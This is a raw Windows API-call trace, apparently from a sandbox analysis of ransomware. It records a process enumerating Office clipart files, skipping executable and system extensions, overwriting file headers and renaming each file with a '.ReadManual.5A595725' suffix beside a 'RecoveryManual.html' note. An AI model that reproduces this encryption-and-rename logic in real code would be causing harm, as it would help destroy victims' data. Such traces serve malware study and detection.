[0273.396] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.396] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.410] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.410] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7db8) returned 0x2f0000 [0273.410] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.410] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39407919345) returned 1 [0273.410] CloseHandle (hObject=0x184) returned 1 [0273.411] SetSecurityInfo () returned 0x57 [0273.411] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.411] CloseHandle (hObject=0x194) returned 1 [0273.411] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d92b00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30d92b00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02291U.BMP", cAlternateFileName="")) returned 1 [0273.411] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02291U.BMP" | out: lpString1="PH02291U.BMP") returned="PH02291U.BMP" [0273.411] lstrcmpiW (lpString1="PH02291U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.411] StrStrIW (lpFirst="PH02291U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.411] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.411] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.411] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.411] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.411] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.411] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.411] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.411] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.411] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.411] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.411] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.411] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.411] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.411] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.411] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" [0273.411] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP.ReadManual.5A595725" [0273.411] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP.ReadManual.5A595725") returned 87 [0273.411] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39408026851) returned 1 [0273.412] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp")) returned 0x20 [0273.412] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.412] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32184) returned 1 [0273.412] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7db8, lpName=0x0) returned 0x184 [0273.413] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.414] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.414] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.415] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.416] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7db8) returned 0x2f0000 [0273.416] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.416] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39408490241) returned 1 [0273.416] CloseHandle (hObject=0x184) returned 1 [0273.416] SetSecurityInfo () returned 0x57 [0273.416] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.416] CloseHandle (hObject=0x194) returned 1 [0273.416] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2880f000, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2880f000, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02398U.BMP", cAlternateFileName="")) returned 1 [0273.416] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02398U.BMP" | out: lpString1="PH02398U.BMP") returned="PH02398U.BMP" [0273.416] lstrcmpiW (lpString1="PH02398U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.417] StrStrIW (lpFirst="PH02398U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.417] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.417] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.417] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.417] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.417] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.417] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.417] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.417] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.417] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.417] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.417] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.417] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.417] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.417] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.417] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" [0273.417] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP.ReadManual.5A595725" [0273.417] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP.ReadManual.5A595725") returned 87 [0273.417] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39408583075) returned 1 [0273.417] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp")) returned 0x20 [0273.417] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.418] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31968) returned 1 [0273.418] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0x184 [0273.418] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.418] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.419] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.420] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.420] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7ce0) returned 0x2f0000 [0273.420] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.421] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39408947853) returned 1 [0273.421] CloseHandle (hObject=0x184) returned 1 [0273.421] SetSecurityInfo () returned 0x57 [0273.421] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.421] CloseHandle (hObject=0x194) returned 1 [0273.421] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdd5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02412K.JPG", cAlternateFileName="")) returned 1 [0273.421] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02412K.JPG" | out: lpString1="PH02412K.JPG") returned="PH02412K.JPG" [0273.421] lstrcmpiW (lpString1="PH02412K.JPG", lpString2="RecoveryManual.html") returned -1 [0273.421] StrStrIW (lpFirst="PH02412K.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.421] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.421] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.421] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0273.421] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.421] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.421] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.421] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.421] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.421] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.421] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.421] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.421] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.421] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.421] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.421] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" [0273.422] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.ReadManual.5A595725" [0273.422] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.ReadManual.5A595725") returned 87 [0273.422] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39409036650) returned 1 [0273.422] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg")) returned 0x20 [0273.422] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.422] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3541) returned 1 [0273.422] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdd5, lpName=0x0) returned 0x184 [0273.422] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.423] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.423] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.425] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.425] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdd5) returned 0x2f0000 [0273.425] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.425] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39409402275) returned 1 [0273.425] CloseHandle (hObject=0x184) returned 1 [0273.425] SetSecurityInfo () returned 0x57 [0273.425] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.425] CloseHandle (hObject=0x194) returned 1 [0273.426] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156e2000, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156e2000, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02417U.BMP", cAlternateFileName="")) returned 1 [0273.426] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02417U.BMP" | out: lpString1="PH02417U.BMP") returned="PH02417U.BMP" [0273.426] lstrcmpiW (lpString1="PH02417U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.426] StrStrIW (lpFirst="PH02417U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.426] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.426] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.426] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.426] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.426] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.426] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.426] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.426] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.426] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.426] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.426] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.426] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.426] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.426] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.426] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" [0273.426] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP.ReadManual.5A595725" [0273.426] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP.ReadManual.5A595725") returned 87 [0273.426] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39409491661) returned 1 [0273.426] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp")) returned 0x20 [0273.426] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.427] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31968) returned 1 [0273.427] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0x184 [0273.427] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.427] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.428] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.429] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.429] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7ce0) returned 0x2f0000 [0273.430] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.430] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39409860138) returned 1 [0273.430] CloseHandle (hObject=0x184) returned 1 [0273.430] SetSecurityInfo () returned 0x57 [0273.430] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.430] CloseHandle (hObject=0x194) returned 1 [0273.430] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf783f00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf783f00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02466U.BMP", cAlternateFileName="")) returned 1 [0273.430] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02466U.BMP" | out: lpString1="PH02466U.BMP") returned="PH02466U.BMP" [0273.430] lstrcmpiW (lpString1="PH02466U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.430] StrStrIW (lpFirst="PH02466U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.430] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.430] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.430] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.430] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.430] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.430] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.430] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.430] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.430] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.430] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.431] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.431] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.431] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.431] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.431] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" [0273.431] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP.ReadManual.5A595725" [0273.431] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP.ReadManual.5A595725") returned 87 [0273.431] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39409947571) returned 1 [0273.431] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp")) returned 0x20 [0273.431] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.431] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31752) returned 1 [0273.431] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c08, lpName=0x0) returned 0x184 [0273.431] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.432] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.432] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.434] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.434] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c08) returned 0x2f0000 [0273.434] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.435] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39410337954) returned 1 [0273.435] CloseHandle (hObject=0x184) returned 1 [0273.435] SetSecurityInfo () returned 0x57 [0273.435] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.435] CloseHandle (hObject=0x194) returned 1 [0273.435] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78519700, ftCreationTime.dwHighDateTime=0x1bf111d, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, 